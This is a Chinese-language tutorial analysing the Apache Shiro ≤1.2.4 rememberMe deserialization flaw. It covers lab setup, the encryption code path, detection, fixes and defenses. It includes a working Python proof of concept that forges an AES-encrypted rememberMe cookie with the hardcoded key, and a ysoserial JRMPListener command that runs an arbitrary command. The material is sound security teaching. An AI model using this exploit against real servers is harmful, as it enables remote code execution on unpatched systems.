深入分析shiro反序列化漏洞
字数 1831 2025-08-18 11:39:08
Apache Shiro 反序列化漏洞深入分析与利用
1. Shiro 简介与漏洞背景
Apache Shiro 是一个强大且易用的 Java 安全框架,提供认证、授权、加密和会话管理等功能。其中"Remember Me"功能允许用户在关闭浏览器后仍保持登录状态,但该功能的实现存在严重的安全漏洞。
漏洞核心:Shiro 在 1.2.4 及之前版本中,Remember Me 功能使用了硬编码的 AES 加密密钥(kPH+bIxk5D2deZiIxcaaaA==),攻击者可以利用此密钥构造恶意序列化数据,导致远程代码执行。
2. 漏洞环境搭建
2.1 获取漏洞版本代码
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
2.2 修改 pom.xml 配置
需要修改 samples/web 项目的 pom.xml 文件:
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
3. Shiro Remember Me 机制分析
3.1 认证流程
- 用户登录时勾选"Remember Me"选项
- Shiro 将用户信息序列化后使用 AES 加密
- 加密结果经过 Base64 编码后存入 Cookie
- 下次访问时,Shiro 从 Cookie 中读取、解密并反序列化数据
3.2 关键代码路径
-
加密过程:
DefaultSecurityManager#loginAbstractRememberMeManager#rememberIdentityconvertPrincipalsToBytes(序列化 + AES 加密)CookieRememberMeManager#rememberSerializedIdentity(Base64 编码)
-
解密过程:
DefaultSecurityManager#resolvePrincipalsAbstractRememberMeManager#getRememberedPrincipalsCookieRememberMeManager#getRememberedSerializedIdentity(Base64 解码)convertBytesToPrincipals(AES 解密 + 反序列化)
4. 漏洞利用原理
4.1 漏洞触发条件
- 目标系统使用 Shiro ≤1.2.4
- 配置了使用 Remember Me 功能
- 目标系统包含可利用的反序列化 gadget chain(如 Commons Collections)
4.2 利用步骤
-
构造恶意序列化数据:
- 使用 ysoserial 生成 payload
- 使用硬编码密钥 AES 加密
- Base64 编码后构造 Cookie
-
搭建 JRMP 监听服务:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'command' -
发送恶意请求:
- 在请求中包含构造的 rememberMe Cookie
- 触发目标服务器反序列化漏洞
4.3 PoC 代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
5. 漏洞检测方法
5.1 指纹识别
发送包含非法 rememberMe 值的请求:
rememberMe=1
响应特征:
- 返回 Set-Cookie 头包含
rememberMe=deleteMe - 证明目标使用了 Shiro 且开启了 Remember Me 功能
5.2 密钥检测
可以尝试使用已知的硬编码密钥(如 kPH+bIxk5D2deZiIxcaaaA==)加密 payload,观察系统反应。
6. 漏洞修复方案
6.1 官方修复
Shiro 1.2.5 及以上版本:
- 不再使用硬编码 AES 密钥
- 改为使用
generateNewKey()方法动态生成密钥
6.2 修复建议
- 升级到最新版本 Shiro
- 如果无法立即升级:
- 自定义
AbstractRememberMeManager实现 - 修改默认加密密钥
- 禁用 Remember Me 功能(如不需要)
- 自定义
7. 防御措施
-
输入验证:
- 对 rememberMe Cookie 值进行严格验证
- 拒绝非法格式的输入
-
加密增强:
- 使用强随机密钥
- 定期轮换密钥
-
反序列化防护:
- 使用 ObjectInputFilter 限制反序列化类
- 替换默认的 Java 反序列化机制
-
最小权限原则:
- Remember Me 功能不应授予与正常登录相同的权限
8. 总结
Shiro 反序列化漏洞是一个典型的安全设计缺陷案例,它展示了:
- 硬编码密钥的危险性
- 反序列化操作的安全风险
- 功能安全与系统安全的平衡重要性
理解此漏洞有助于开发者更好地设计安全系统,同时也提醒安全研究人员关注框架的默认配置风险。